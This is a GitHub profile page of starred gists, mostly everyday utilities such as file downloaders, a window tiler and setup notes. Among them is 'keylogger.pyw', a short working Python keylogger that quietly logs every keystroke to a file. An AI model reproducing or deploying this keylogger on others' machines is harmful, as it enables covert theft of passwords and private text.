Skip to content

Instantly share code, notes, and snippets.

View dmgl's full-sized avatar
🎯
Focusing

Galochkin D.D. dmgl

🎯
Focusing
  • Russia, Saint-Petersburg
View GitHub Profile
@wildcard
wildcard / ya.py
Last active April 12, 2024 13:23 — forked from Yegorov/ya.py
Download file from Yandex.Disk through share link for large file + reconnect option on MacOS with caffeinate to prevent computer from sleep
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://toster.ru/q/72866
# How to
# wget http://gist.github.com/...
# chmod +x ya.py
# ./ya.py download_url path/to/directory
import os, sys, json
@spoonyfork
spoonyfork / tumblr-likes-downloader.py
Last active June 22, 2020 08:27 — forked from jeffaudi/tumblr-likes-downloader.py
Instructions in the comments. This python script downloads all the photos liked of your tumblr account. This is usually more useful than downloading the photos from a specfic blog. Updated to also download videos and store content is folders. Please, note that currently the Tumblr API only returns the first 1000 likes (https://groups.google.com/…
import pytumblr
import os
import code
import oauth2 as oauth
from pprint import pprint
import json
import urllib.request
import codecs
import sys
@wolkenarchitekt
wolkenarchitekt / window_tiler.py
Last active September 17, 2019 10:38
Move window on Linux systems using Python, xdotool and wmctrl
#!/usr/bin/python3.7
#
# Move and resize window into screen corners.
# works with multiple, horizontally aligned displays.
#
# Requirements:
# * Python3.7 (for dataclass)
# * wmctrl
# * xdotool
# pip: screeninfo, click
@lf-araujo
lf-araujo / 2017-04-6-swift.md
Last active May 27, 2019 13:12
Swift REPL with Sublime Text in Linux

Swift REPL with Sublime Text in Linux

Swift REPL works fine in Sublime Text. It is a simple three step process. First install the language either by downloading the latest version of it at swift.org and extracting it to /usr, or if you are in Arch by issuing yaourt -S swift-bin.

The second step is to add an option to Swift in Sublime Text REPL. Please note that you have to install Sulime Text REPL first. Launch the Command Palette and browse the packages. Find the SublimeREPL directory and create a config/Swift directory.

Inside this directory, create the file Default.sublime-commands with the following content:

@Yegorov
Yegorov / ya.py
Created January 13, 2018 16:08
Download file from Yandex.Disk through share link
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# https://toster.ru/q/72866
# How to
# wget http://gist.github.com/...
# chmod +x ya.py
# ./ya.py download_url path/to/directory
import os, sys, json
@Kylmakalle
Kylmakalle / main.py
Created August 6, 2017 19:10 — forked from gurland/main.py
How to delete all your messages from chat in telegram? Easy, just use this program
from telethon import TelegramClient
from telethon.errors import SessionPasswordNeededError
from telethon.tl.functions.messages import GetHistoryRequest
from telethon.tl.functions.channels import DeleteMessagesRequest
from telethon.tl.types.channel import Channel
import shelve
from os import listdir
from time import sleep
# Просто утилиты
@brentvollebregt
brentvollebregt / keylogger.pyw
Created April 11, 2017 02:48
A Python 3 keylogger using the pynput module
# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')
def on_press(key):
logging.info('"{0}"'.format(key))
@Cimbali
Cimbali / justified_reader.css
Created January 14, 2017 18:46
Justified text in Firefox's "reader" mode
@namespace url(http://www.w3.org/1999/xhtml);
@-moz-document url-prefix("about:reader") {
#moz-reader-content {
text-align: justify;
}
}
@dschep
dschep / raspbian-python3.6.rst
Last active October 24, 2023 14:57 — forked from BMeu/raspbian-python3.5.rst
Installing Python 3.6 on Raspbian

Installing Python 3.6 on Raspbian

As of January 2018, Raspbian does not yet include the latest Python release, Python 3.6. This means we will have to build it ourselves, and here is how to do it. There is also an ansible role attached that automates it all for you.

  1. Install the required build-tools (some might already be installed on your system).

@mertvetsky
mertvetsky / cat.js
Last active March 21, 2016 12:02
standalone funny kitty
document.addEventListener("DOMContentLoaded", function () { //optional
if (!document.getElementById('hello_cat')) {
var p = -15;
var d = document.createElement('div');
var c = document.createElement('img');
c.src = 'data:image/gif;base64,R0lGODlh6gDIAOf/AAABAAMABgcAAAACBgEEAAMGARIAEQcECgwDEQ8DCwMJDQoHDQcJBQ4HBQsOChIMCwgPEQ8NEQ0OFxMNFxEOHBgNGw8RDg8UFhIUERcSGxMUGxYUFxoTGBUXFBkWFR4UIBgaFx0YIRsaHRobIhocGh0eHCgaKiIdJh4fJiEfIh8hHiQgHygeKyMkIiYjLCYlKCskKCcoJisnJiopLC0oMTAoLTQmODEoNiosKS0uLC8uMTItNzIzMTcyPDYzNz0yPTY3ND00RDg6Nzw4Qjw5PTs9Okk6TD4/PUI9SEE+QkFCQEg/T0s/SkdESEhET0VHRFBITUlLSExLTlBLVk1OTFZMXVBRT1pOWlZQWlVRVVZYVVlXW1xXYmJWYmFXaF1cYFxeW2FjYGRjaGhibWVnZG9kdG1odGlraGtqbXJpbnBucnVueW9xbntugX1wfXh0eXZ3dHp1gHt8eX18gIR7gYZ7jYN+iYp9ioGDgIWChoqJjYmKh5GIjY+JlJGJmo6QjZCPk5WNmZyNp5OVkpyTmZeVmZqVoJiZlqKWpqGbp5yem5+doaudq6ehraKkoaajqK2itbOhtq2kqq6otKuqrqqsqbaota2vrLWvurKxtbO0sb+xvr6yxby1wr+1u7m3u7e5tse7z8S9yL+/w77Avci71c2+zM7B1sTGw8rD0M3DycfFycnLyNDJ1c3Lz9TK3djK18